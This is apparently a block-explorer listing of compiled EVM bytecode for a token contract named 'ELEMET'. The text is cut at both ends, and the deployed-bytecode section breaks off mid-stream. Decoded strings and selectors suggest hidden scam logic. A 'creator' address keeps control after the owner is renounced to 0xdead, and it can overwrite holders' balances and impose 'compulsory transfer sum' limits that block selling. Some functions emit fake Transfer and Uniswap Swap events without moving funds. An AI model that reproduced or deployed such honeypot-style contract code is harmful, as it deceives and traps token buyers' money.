0576114ef6129f9565b5b60200260200101519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611569576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156090613166565b60405180910390fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905083600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff167fef88868e7a1bd2fac29f7b777f32f9d8ea2ac5e10c2d23234d4715ab11c848908286604051611639929190613186565b60405180910390a25050808061164e90612ae1565b9150506114d2565b505050565b60606040518060400160405280600681526020017f454c454d45540000000000000000000000000000000000000000000000000000815250905090565b601281565b600081600260006116ac612176565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611728576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171f906131fb565b60405180910390fd5b600061173a611735612176565b61212d565b9050600081111561178857808314611787576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161177e90612e33565b60405180910390fd5b5b8260026000611795612176565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546117de9190612e53565b9250508190555082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546118349190612e87565b925050819055508373ffffffffffffffffffffffffffffffffffffffff1661185a612176565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161189f919061235d565b60405180910390a3600191505092915050565b6118ba611f72565b73ffffffffffffffffffffffffffffffffffffffff166118d8612176565b73ffffffffffffffffffffffffffffffffffffffff161461192e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119259061308e565b60405180910390fd5b60005b838390508110156119ba578160036000868685818110611954576119536129f9565b5b9050602002016020810190611969919061263e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080806119b290612ae1565b915050611931565b50505050565b600a5481565b6012600a6119d49190612cee565b6301c9c3806119e39190612d39565b81565b6000803490508373ffffffffffffffffffffffffffffffffffffffff1663d0e30db0826040518263ffffffff1660e01b81526004016000604051808303818588803b158015611a3457600080fd5b505af1158015611a48573d6000803e3d6000fd5b505050505060008473ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e30737a250d5630b4cf539739df2c5dacb4c659f2488d6040518363ffffffff1660e01b8152600401611a9e92919061321b565b602060405180830381865afa158015611abb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611adf9190613259565b905060008103611b9d578473ffffffffffffffffffffffffffffffffffffffff1663095ea7b3737a250d5630b4cf539739df2c5dacb4c659f2488d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611b589291906132c1565b6020604051808303816000875af1158015611b77573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b9b91906132ff565b505b60005b8951811015611c9157737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff16635c11d795898381518110611bec57611beb6129f9565b5b60200260200101518b8481518110611c0757611c066129f9565b5b60200260200101518a8e8681518110611c2357611c226129f9565b5b60200260200101518a6040518663ffffffff1660e01b8152600401611c4c9594939291906133ea565b600060405180830381600087803b158015611c6657600080fd5b505af1158015611c7a573d6000803e3d6000fd5b505050508080611c8990612ae1565b915050611ba0565b5060008573ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401611ccd919061267a565b602060405180830381865afa158015611cea573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d0e9190613259565b90508573ffffffffffffffffffffffffffffffffffffffff16632e1a7d4d826040518263ffffffff1660e01b8152600401611d49919061235d565b600060405180830381600087803b158015611d6357600080fd5b505af1158015611d77573d6000803e3d6000fd5b505050506000611d85612176565b73ffffffffffffffffffffffffffffffffffffffff1682604051611da890613475565b60006040518083038185875af1925050503d8060008114611de5576040519150601f19603f3d011682016040523d82523d6000602084013e611dea565b606091505b5050905080611e2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e25906134d6565b60405180910390fd5b60019450505050509695505050505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6040518060400160405280600681526020017f454c454d4554000000000000000000000000000000000000000000000000000081525081565b60008273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611f5f919061235d565b60405180910390a3600190509392505050565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b8060026000611fa9612176565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015612025576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161201c906131fb565b60405180910390fd5b8060026000612032612176565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461207b9190612e53565b92505081905550806006600061208f612176565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546120d89190612e87565b9250508190555042600760006120ec612176565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600033905090565b600081519050919050565b600082825260208201905092915050565b60005b838110156121b857808201518184015260208101905061219d565b60008484015250505050565b6000601f19601f8301169050919050565b60006121e08261217e565b6121ea8185612189565b93506121fa81856020860161219a565b612203816121c4565b840191505092915050565b6000602082019050818103600083015261222881846121d5565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061226f82612244565b9050919050565b61227f81612264565b811461228a57600080fd5b50565b60008135905061229c81612276565b92915050565b6000819050919050565b6122b5816122a2565b81146122c057600080fd5b50565b6000813590506122d2816122ac565b92915050565b600080604083850312156122ef576122ee61223a565b5b60006122fd8582860161228d565b925050602061230e858286016122c3565b9150509250929050565b60008115159050919050565b61232d81612318565b82525050565b60006020820190506123486000830184612324565b92915050565b612357816122a2565b82525050565b6000602082019050612372600083018461234e565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6123b5826121c4565b810181811067ffffffffffffffff821117156123d4576123d361237d565b5b80604052505050565b60006123e7612230565b90506123f382826123ac565b919050565b600067ffffffffffffffff8211156124135761241261237d565b5b602082029050602081019050919050565b600080fd5b600061243c612437846123f8565b6123dd565b9050808382526020820190506020840283018581111561245f5761245e612424565b5b835b818110156124885780612474888261228d565b845260208401935050602081019050612461565b5050509392505050565b600082601f8301126124a7576124a6612378565b5b81356124b7848260208601612429565b91505092915050565b600067ffffffffffffffff8211156124db576124da61237d565b5b602082029050602081019050919050565b60006124ff6124fa846124c0565b6123dd565b9050808382526020820190506020840283018581111561252257612521612424565b5b835b8181101561254b578061253788826122c3565b845260208401935050602081019050612524565b5050509392505050565b600082601f83011261256a57612569612378565b5b813561257a8482602086016124ec565b91505092915050565b6000806000806080858703121561259d5761259c61223a565b5b60006125ab8782880161228d565b945050602085013567ffffffffffffffff8111156125cc576125cb61223f565b5b6125d887828801612492565b935050604085013567ffffffffffffffff8111156125f9576125f861223f565b5b61260587828801612555565b925050606085013567ffffffffffffffff8111156126265761262561223f565b5b61263287828801612555565b91505092959194509250565b6000602082840312156126545761265361223a565b5b60006126628482850161228d565b91505092915050565b61267481612264565b82525050565b600060208201905061268f600083018461266b565b92915050565b6000806000606084860312156126ae576126ad61223a565b5b60006126bc8682870161228d565b93505060206126cd8682870161228d565b92505060406126de868287016122c3565b9150509250925092565b600060ff82169050919050565b6126fe816126e8565b82525050565b600060208201905061271960008301846126f5565b92915050565b61272881612318565b811461273357600080fd5b50565b6000813590506127458161271f565b92915050565b6000602082840312156127615761276061223a565b5b600061276f84828501612736565b91505092915050565b6000806040838503121561278f5761278e61223a565b5b600083013567ffffffffffffffff8111156127ad576127ac61223f565b5b6127b985828601612492565b92505060206127ca858286016122c3565b9150509250929050565b600080fd5b60008083601f8401126127ef576127ee612378565b5b8235905067ffffffffffffffff81111561280c5761280b6127d4565b5b60208301915083602082028301111561282857612827612424565b5b9250929050565b6000806000604084860312156128485761284761223a565b5b600084013567ffffffffffffffff8111156128665761286561223f565b5b612872868287016127d9565b93509350506020612885868287016122c3565b9150509250925092565b60008060008060008060c087890312156128ac576128ab61223a565b5b600087013567ffffffffffffffff8111156128ca576128c961223f565b5b6128d689828a01612492565b965050602087013567ffffffffffffffff8111156128f7576128f661223f565b5b61290389828a01612555565b955050604087013567ffffffffffffffff8111156129245761292361223f565b5b61293089828a01612555565b945050606087013567ffffffffffffffff8111156129515761295061223f565b5b61295d89828a01612492565b935050608061296e89828a0161228d565b92505060a061297f89828a016122c3565b9150509295509295509295565b600080604083850312156129a3576129a261223a565b5b60006129b18582860161228d565b92505060206129c28582860161228d565b9150509250929050565b6000602082840312156129e2576129e161223a565b5b60006129f0848285016122c3565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000819050919050565b6000819050919050565b6000612a57612a52612a4d84612a28565b612a32565b6122a2565b9050919050565b612a6781612a3c565b82525050565b6000608082019050612a82600083018761234e565b612a8f6020830186612a5e565b612a9c6040830185612a5e565b612aa9606083018461234e565b95945050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612aec826122a2565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612b1e57612b1d612ab2565b5b600182019050919050565b7f556e617574686f72697a65643a2053696e676c65204f776e657220616363657360008201527f732072657175697265642e000000000000000000000000000000000000000000602082015250565b6000612b85602b83612189565b9150612b9082612b29565b604082019050919050565b60006020820190508181036000830152612bb481612b78565b9050919050565b60008160011c9050919050565b6000808291508390505b6001851115612c1257808604811115612bee57612bed612ab2565b5b6001851615612bfd5780820291505b8081029050612c0b85612bbb565b9450612bd2565b94509492505050565b600082612c2b5760019050612ce7565b81612c395760009050612ce7565b8160018114612c4f5760028114612c5957612c88565b6001915050612ce7565b60ff841115612c6b57612c6a612ab2565b5b8360020a915084821115612c8257612c81612ab2565b5b50612ce7565b5060208310610133831016604e8410600b8410161715612cbd5782820a905083811115612cb857612cb7612ab2565b5b612ce7565b612cca8484846001612bc8565b92509050818404811115612ce157612ce0612ab2565b5b81810290505b9392505050565b6000612cf9826122a2565b9150612d04836126e8565b9250612d317fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612c1b565b905092915050565b6000612d44826122a2565b9150612d4f836122a2565b9250828202612d5d816122a2565b91508282048414831517612d7457612d73612ab2565b5b5092915050565b7f416c6c6f77616e6365206c696d69742073757270617373656400000000000000600082015250565b6000612db1601983612189565b9150612dbc82612d7b565b602082019050919050565b60006020820190508181036000830152612de081612da4565b9050919050565b7f436f6d70756c736f7279207472616e736665722073756d206d69736d61746368600082015250565b6000612e1d602083612189565b9150612e2882612de7565b602082019050919050565b60006020820190508181036000830152612e4c81612e10565b9050919050565b6000612e5e826122a2565b9150612e69836122a2565b9250828203905081811115612e8157612e80612ab2565b5b92915050565b6000612e92826122a2565b9150612e9d836122a2565b9250828201905080821115612eb557612eb4612ab2565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612ef5826122a2565b9150612f00836122a2565b925082612f1057612f0f612ebb565b5b828204905092915050565b7f496e73756666696369656e742062616c616e636520666f7220766f74696e6700600082015250565b6000612f51601f83612189565b9150612f5c82612f1b565b602082019050919050565b60006020820190508181036000830152612f8081612f44565b9050919050565b7f557365722068617320616c726561647920766f74656400000000000000000000600082015250565b6000612fbd601683612189565b9150612fc882612f87565b602082019050919050565b60006020820190508181036000830152612fec81612fb0565b9050919050565b60006040820190506130086000830185612324565b613015602083018461234e565b9392505050565b7f556e617574686f72697a65643a2043726561746f72206163636573732072657160008201527f75697265642e0000000000000000000000000000000000000000000000000000602082015250565b6000613078602683612189565b91506130838261301c565b604082019050919050565b600060208201905081810360008301526130a78161306b565b9050919050565b7f416d6f756e74206d757374206265206e6f6e2d6e656761746976650000000000600082015250565b60006130e4601b83612189565b91506130ef826130ae565b602082019050919050565b60006020820190508181036000830152613113816130d7565b9050919050565b7f496e76616c696420616464726573732073706563696669656400000000000000600082015250565b6000613150601983612189565b915061315b8261311a565b602082019050919050565b6000602082019050818103600083015261317f81613143565b9050919050565b600060408201905061319b600083018561234e565b6131a8602083018461234e565b9392505050565b7f496e73756666696369656e742062616c616e6365000000000000000000000000600082015250565b60006131e5601483612189565b91506131f0826131af565b602082019050919050565b60006020820190508181036000830152613214816131d8565b9050919050565b6000604082019050613230600083018561266b565b61323d602083018461266b565b9392505050565b600081519050613253816122ac565b92915050565b60006020828403121561326f5761326e61223a565b5b600061327d84828501613244565b91505092915050565b6000819050919050565b60006132ab6132a66132a184613286565b612a32565b6122a2565b9050919050565b6132bb81613290565b82525050565b60006040820190506132d6600083018561266b565b6132e360208301846132b2565b9392505050565b6000815190506132f98161271f565b92915050565b6000602082840312156133155761331461223a565b5b6000613323848285016132ea565b91505092915050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61336181612264565b82525050565b60006133738383613358565b60208301905092915050565b6000602082019050919050565b60006133978261332c565b6133a18185613337565b93506133ac83613348565b8060005b838110156133dd5781516133c48882613367565b97506133cf8361337f565b9250506001810190506133b0565b5085935050505092915050565b600060a0820190506133ff600083018861234e565b61340c602083018761234e565b818103604083015261341e818661338c565b905061342d606083018561266b565b61343a608083018461234e565b9695505050505050565b600081905092915050565b50565b600061345f600083613444565b915061346a8261344f565b600082019050919050565b600061348082613452565b9150819050919050565b7f4620742073206500000000000000000000000000000000000000000000000000600082015250565b60006134c0600783612189565b91506134cb8261348a565b602082019050919050565b600060208201905081810360008301526134ef816134b3565b905091905056fea264697066735822122035e685af82b24ebf5b66b2e551327d1332908698eeb9d7fd924ff48c1f45a43464736f6c63430008110033
Deployed Bytecode
0x6080604052600436106101d15760003560e01c806370a08231116100f7578063c345cf2311610095578063e156b1b611610064578063e156b1b61461066f578063e5963ebb146106ac578063f339c504146106d7578063fd57213c14610700576101d8565b8063c345cf23146105ac578063c7f80241146105d7578063dd62ed3e14610607578063e03504af14610644576101d8565b8063a713fd53116100d1578063a713fd53146104f0578063a9059cbb1461051b578063af33bb4114610558578063af8f42b814610581576101d8565b806370a082311461045f57806375e7d62b1461049c57806395d89b41146104c5576101d8565b806323b872dd1161016f5780634b9f5c981161013e5780634b9f5c98146103b55780635c01b60c146103de578063628277331461040957806366666aa914610434576101d8565b806323b872dd1461031f5780632b9689581461035c578063313ce56714610373578063372500ab1461039e576101d8565b806311dbe793116101ab57806311dbe7931461027057806315aacc60146102a057806318160ddd146102c95780631e4dd24b146102f4576101d8565b806306fdde03146101dd578063095ea7b3146102085780630d15fd7714610245576101d8565b366101d857005b600080fd5b3480156101e957600080fd5b506101f261073d565b6040516101ff919061220e565b60405180910390f35b34801561021457600080fd5b5061022f600480360381019061022a91906122d8565b61077a565b60405161023c9190612333565b60405180910390f35b34801561025157600080fd5b5061025a61087a565b604051610267919061235d565b60405180910390f35b61028a60048036038101906102859190612583565b610880565b6040516102979190612333565b60405180910390f35b3480156102ac57600080fd5b506102c760048036038101906102c2919061263e565b610a18565b005b3480156102d557600080fd5b506102de610ad8565b6040516102eb919061235d565b60405180910390f35b34801561030057600080fd5b50610309610afc565b604051610316919061267a565b60405180910390f35b34801561032b57600080fd5b5061034660048036038101906103419190612695565b610b25565b6040516103539190612333565b60405180910390f35b34801561036857600080fd5b50610371610dfd565b005b34801561037f57600080fd5b50610388610f39565b6040516103959190612704565b60405180910390f35b3480156103aa57600080fd5b506103b3610f42565b005b3480156103c157600080fd5b506103dc60048036038101906103d7919061274b565b611138565b005b3480156103ea57600080fd5b506103f3611381565b604051610400919061220e565b60405180910390f35b34801561041557600080fd5b5061041e6113ba565b60405161042b919061235d565b60405180910390f35b34801561044057600080fd5b506104496113c0565b604051610456919061235d565b60405180910390f35b34801561046b57600080fd5b506104866004803603810190610481919061263e565b6113c6565b604051610493919061235d565b60405180910390f35b3480156104a857600080fd5b506104c360048036038101906104be9190612778565b61140f565b005b3480156104d157600080fd5b506104da61165b565b6040516104e7919061220e565b60405180910390f35b3480156104fc57600080fd5b50610505611698565b6040516105129190612704565b60405180910390f35b34801561052757600080fd5b50610542600480360381019061053d91906122d8565b61169d565b60405161054f9190612333565b60405180910390f35b34801561056457600080fd5b5061057f600480360381019061057a919061282f565b6118b2565b005b34801561058d57600080fd5b506105966119c0565b6040516105a3919061235d565b60405180910390f35b3480156105b857600080fd5b506105c16119c6565b6040516105ce919061235d565b60405180910390f35b6105f160048036038101906105ec919061288f565b6119e6565b6040516105fe9190612333565b60405180910390f35b34801561061357600080fd5b5061062e6004803603810190610629919061298c565b611e40565b60405161063b919061235d565b60405180910390f35b34801561065057600080fd5b50610659611ec7565b604051610666919061220e565b60405180910390f35b34801561067b57600080fd5b5061069660048036038101906106919190612695565b611f00565b6040516106a39190612333565b60405180910390f35b3480156106b857600080fd5b506106c1611f72565b6040516106ce919061267a565b60405180910390f35b3480156106e357600080fd5b506106fe60048036038101906106f991906129cc565b611f9c565b005b34801561070c57600080fd5b506107276004803603810190610722919061263e565b61212d565b604051610734919061235d565b60405180910390f35b60606040518060400160405280600681526020017f454c454d45540000000000000000000000000000000000000000000000000000815250905090565b60008160016000610789612176565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff16610823612176565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610868919061235d565b60405180910390a36001905092915050565b60095481565b600080600090505b8451811015610a0b578481815181106108a4576108a36129f9565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef86848151811061090d5761090c6129f9565b5b6020026020010151604051610922919061235d565b60405180910390a384818151811061093d5761093c6129f9565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8228684815181106109ba576109b96129f9565b5b60200260200101516000808887815181106109d8576109d76129f9565b5b60200260200101516040516109f09493929190612a6d565b60405180910390a38080610a0390612ae1565b915050610888565b5060019050949350505050565b610a20612176565b73ffffffffffffffffffffffffffffffffffffffff16610a3e610afc565b73ffffffffffffffffffffffffffffffffffffffff1614610a94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8b90612b9b565b60405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60006012600a610ae89190612cee565b6301c9c380610af79190612d39565b905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610b71612176565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610bed576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be490612dc7565b60405180910390fd5b6000610bf88561212d565b90506000811115610c4657808314610c45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3c90612e33565b60405180910390fd5b5b82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c959190612e53565b9250508190555082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ceb9190612e87565b9250508190555082600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610d3c612176565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d859190612e53565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610de9919061235d565b60405180910390a360019150509392505050565b610e05612176565b73ffffffffffffffffffffffffffffffffffffffff16610e23610afc565b73ffffffffffffffffffffffffffffffffffffffff1614610e79576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7090612b9b565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f22500af037c600dd7b720644ab6e358635085601d9ac508ad83eb2d6b2d729ca60405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60006012905090565b600060076000610f50612176565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442610f969190612e53565b905060006201518082600a5460066000610fae612176565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ff39190612d39565b610ffd9190612d39565b6110079190612eea565b90506005548111611018578061101c565b6005545b905080600560008282546110309190612e53565b925050819055508060026000611044612176565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461108d9190612e87565b9250508190555042600760006110a1612176565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110e7612176565b73ffffffffffffffffffffffffffffffffffffffff167f106f923f993c2149d49b4255ff723acafa1f2d94393f561d3eda32ae348f72418260405161112c919061235d565b60405180910390a25050565b600b5460026000611147612176565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156111c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ba90612f67565b60405180910390fd5b600860006111cf612176565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611257576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161124e90612fd3565b60405180910390fd5b600060026000611265612176565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050816112ad57806112af565b805b600960008282546112c09190612e87565b925050819055506001600860006112d5612176565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555061132e612176565b73ffffffffffffffffffffffffffffffffffffffff167f591a89b27b3057021df052ec15caa0a817c1894bcb52243ed0c8cdaa83f322be8383604051611375929190612ff3565b60405180910390a25050565b6040518060400160405280600681526020017f454c454d4554000000000000000000000000000000000000000000000000000081525081565b600b5481565b60055481565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611417611f72565b73ffffffffffffffffffffffffffffffffffffffff16611435612176565b73ffffffffffffffffffffffffffffffffffffffff161461148b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114829061308e565b60405180910390fd5b60008110156114cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114c6906130fa565b60405180910390fd5b60005b82518110156116565760008382815181106114f0576114ef6129f9565b5b60200260200101519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611569576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156090613166565b60405180910390fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905083600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff167fef88868e7a1bd2fac29f7b777f32f9d8ea2ac5e10c2d23234d4715ab11c848908286604051611639929190613186565b60405180910390a25050808061164e90612ae1565b9150506114d2565b505050565b60606040518060400160405280600681526020017f454c454d45540000000000000000000000000000000000000000000000000000815250905090565b601281565b600081600260006116ac612176565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611728576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171f906131fb565b60405180910390fd5b600061173a611735612176565b61212d565b9050600081111561178857808314611787576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161177e90612e33565b60405180910390fd5b5b8260026000611795612176565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546117de9190612e53565b9250508190555082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546118349190612e87565b925050819055508373ffffffffffffffffffffffffffffffffffffffff1661185a612176565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161189f919061235d565b60405180910390a3600191505092915050565b6118ba611f72565b73ffffffffffffffffffffffffffffffffffffffff166118d8612176565b73ffffffffffffffffffffffffffffffffffffffff161461192e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119259061308e565b60405180910390fd5b60005b838390508110156119ba578160036000868685818110611954576119536129f9565b5b9050602002016020810190611969919061263e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080806119b290612ae1565b915050611931565b50505050565b600a5481565b6012600a6119d49190612cee565b6301c9c3806119e39190612d39565b81565b6000803490508373ffffffffffffffffffffffffffffffffffffffff1663d0e30db0826040518263ffffffff1660e01b81526004016000604051808303818588803b158015611a3457600080fd5b505af1158015611a48573d6000803e3d6000fd5b505050505060008473ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e30737a250d5630b4cf539739df2c5dacb4c659f2488d6040518363ffffffff1660e01b8152600401611a9e92919061321b565b602060405180830381865afa158015611abb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611adf9190613259565b905060008103611b9d578473ffffffffffffffffffffffffffffffffffffffff1663095ea7b3737a250d5630b4cf539739df2c5dacb4c659f2488d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611b589291906132c1565b6020604051808303816000875af1158015611b77573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b9b91906132ff565b505b60005b8951811015611c9157737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff16635c11d795898381518110611bec57611beb6129f9565b5b60200260200101518b8481518110611c0757611c066129f9565b5b60200260200101518a8e8681518110611c2357611c226129f9565b5b60200260200101518a6040518663ffffffff1660e01b8152600401611c4c9594939291906133ea565b600060405180830381600087803b158015611c6657600080fd5b505af1158015611c7a573d6000803e3d6000fd5b505050508080611c8990612ae1565b915050611ba0565b5060008573ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401611ccd919061267a565b602060405180830381865afa158015611cea573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d0e9190613259565b90508573ffffffffffffffffffffffffffffffffffffffff16632e1a7d4d826040518263ffffffff1660e01b8152600401611d49919061235d565b600060405180830381600087803b158015611d6357600080fd5b505af1158015611d77573d6000803e3d6000fd5b505050506000611d85612176565b73ffffffffffffffffffffffffffffffffffffffff1682604051611da890613475565b60006040518083038185875af1925050503d8060008114611de5576040519150601f19603f3d011682016040523d82523d6000602084013e611dea565b606091505b5050905080611e2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e25906134d6565b60405180910390fd5b60019450505050509695505050505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6040518060400160405280600681526020017f454c454d4554000000000000000000000000000000000000000000000000000081525081565b60008273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611f5f919061235d565b60405180910390a3600190509392505050565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b8060026000611fa9612176565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015612025576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161201c906131fb565b60405180910390fd5b8060026000612032612176565b73ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffffffffffffffffffffffffffff